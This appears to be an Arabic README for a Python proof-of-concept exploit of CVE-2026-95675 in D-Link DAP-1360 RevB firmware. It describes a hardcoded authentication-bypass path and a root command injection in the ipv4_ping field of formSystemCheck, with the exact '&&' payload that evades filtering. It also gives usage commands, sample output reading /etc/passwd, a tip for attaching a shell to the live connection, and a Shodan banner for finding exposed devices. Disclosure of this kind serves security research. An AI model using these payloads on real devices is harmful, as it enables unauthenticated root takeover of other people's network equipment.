
Python PoC يستغل CVE-2026-95675، وهو حقن أوامر بصلاحيات الجذر دون مصادقة في البرنامج الثابت لجهاز D-Link DAP-1360 RevB عبر تجاوز مصادقة مضمّن ومعالج formSystemCheck.

تنفيذ أوامر عن بُعد بصلاحيات الجذر دون مصادقة (CWE-78 — حقن أوامر نظام التشغيل)
في المعالج formSystemCheck، يمكن الوصول إليه عبر باب خلفي
للمصادقة مضمّن بشكل ثابت. تم التحقق منه على DAP-1360 RevB، الإصدار 2.14B05.
مشكلتان مستقلتان متسلسلتان:
1. مسار تجاوز المصادقة المضمّن بشكل ثابت. في main (httpd @ 0x4064c8):
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn يُرجع 404 (فهو ليس ملفًا حقيقيًا) لكن، كأثر
جانبي، يضع علامة على فتحة جلسة عنوان IP المصدر الطالب كمُصادَق عليها — دون
الحاجة إلى اسم مستخدم أو كلمة مرور أو كابتشا.
2. حقن أوامر نظام التشغيل. formSystemCheck
(POST /apply.cgi?formSystemCheck) يبني أمر shell باستخدام:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
يُمرَّر ipv4_ping دون تعقيم إلى سلسلة التنسيق؛ ويستخدم _system()
vsprintf في مخزن مؤقت ثابت على المكدس ويسلّمه إلى system(). لا يُجري
المعالج أي فحص مصادقة خاص به.
يقوم محلّل جسم POST في busybox بإزالة ; و| والعلامة الخلفية والسطر الجديد، لكن
&& يبقى. يجب أن يُنهي الحمولة البادئة ping ثم تتسلسل
بـ &&، على سبيل المثال:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Arg | Description |
|---|---|
target | المضيف/عنوان IP الهدف (المخطط الافتراضي http://) |
command (اختياري) | أمر الجذر المراد تنفيذه (الافتراضي: )؛ استخدم ، وليس /` |
GET /dEfWzDLOgIn — يُفعّل تجاوز المصادقة المضمّن بشكل ثابت (يُرجع 404؛ يحدث الأثر الجانبي على جانب الخادم).POST /apply.cgi?formSystemCheck مع ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — حقن أوامر بصلاحيات الجذر.GET /<OUT> — يسترجع مخرجات الأمر (يخدم httpd ملفات .htm/.html، وليس .txt).[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc أو wget أو base64 أو chmod أو id — استخدم cat وecho وls وcp، إلخ._system()، يمكن لـ sh <&5 >&5 2>&5 إرفاق shell بالاتصال الحي (هش تحت QEMU بوضع المستخدم؛ أفضل على العتاد الحقيقي).يُظهر Shodan ("CAMEO-httpd"، لافتة بائع httpd) عددًا صغيرًا فقط من
الحالات المكشوفة على الإنترنت لهذه القاعدة البرمجية بالتحديد؛ فالجهاز في الأساس
نقطة وصول على جانب الشبكة المحلية. يتطلب الاستغلال إمكانية الوصول إلى واجهة
إدارة الويب.
cat /etc/passwd&&;